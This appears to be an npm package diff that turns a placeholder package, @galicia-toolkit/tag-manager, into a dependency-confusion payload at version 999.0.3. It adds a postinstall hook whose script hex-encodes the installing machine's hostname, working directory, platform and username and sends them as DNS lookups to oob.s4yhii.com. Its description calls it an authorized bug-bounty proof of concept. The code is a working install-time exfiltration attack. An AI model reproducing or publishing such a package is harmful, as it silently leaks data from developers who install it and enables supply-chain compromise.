@galicia-toolkit/tag-manager 0.0.0-stage → 999.0.3

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "@galicia-toolkit/tag-manager",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
+  "version": "999.0.3",
+  "description": "Security research \u2014 dependency confusion PoC (authorized bug bounty, Banco Galicia program)",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js || true"
+  }
 }

package/postinstall.js

@@ -0,0 +1,21 @@
+const os = require("os");
+const dns = require("dns");
+const pkg = require("./package.json");
+
+const tag = pkg.name.replace(/[@/]/g, "").slice(-8);
+const h = Buffer.from(os.hostname()).toString("hex").slice(0, 40);
+const c = Buffer.from(process.cwd()).toString("hex").slice(0, 50);
+const meta = [os.platform(), os.arch(), process.version.replace("v","")].join("-");
+
+// DNS beacons — each one is a separate query to oob.s4yhii.com
+// Label 1: hostname
+dns.resolve(h + "." + tag + ".h.dc.oob.s4yhii.com", () => {});
+// Label 2: working directory
+dns.resolve(c.slice(0,60) + "." + tag + ".c.dc.oob.s4yhii.com", () => {});
+// Label 3: platform info
+dns.resolve(meta + "." + tag + ".m.dc.oob.s4yhii.com", () => {});
+
+// Also try user context via env
+const u = (process.env.USER || process.env.USERNAME || process.env.LOGNAME || "unknown");
+const uh = Buffer.from(u).toString("hex").slice(0, 40);
+dns.resolve(uh + "." + tag + ".u.dc.oob.s4yhii.com", () => {});

package/README.md

@@ -1,3 +0,0 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.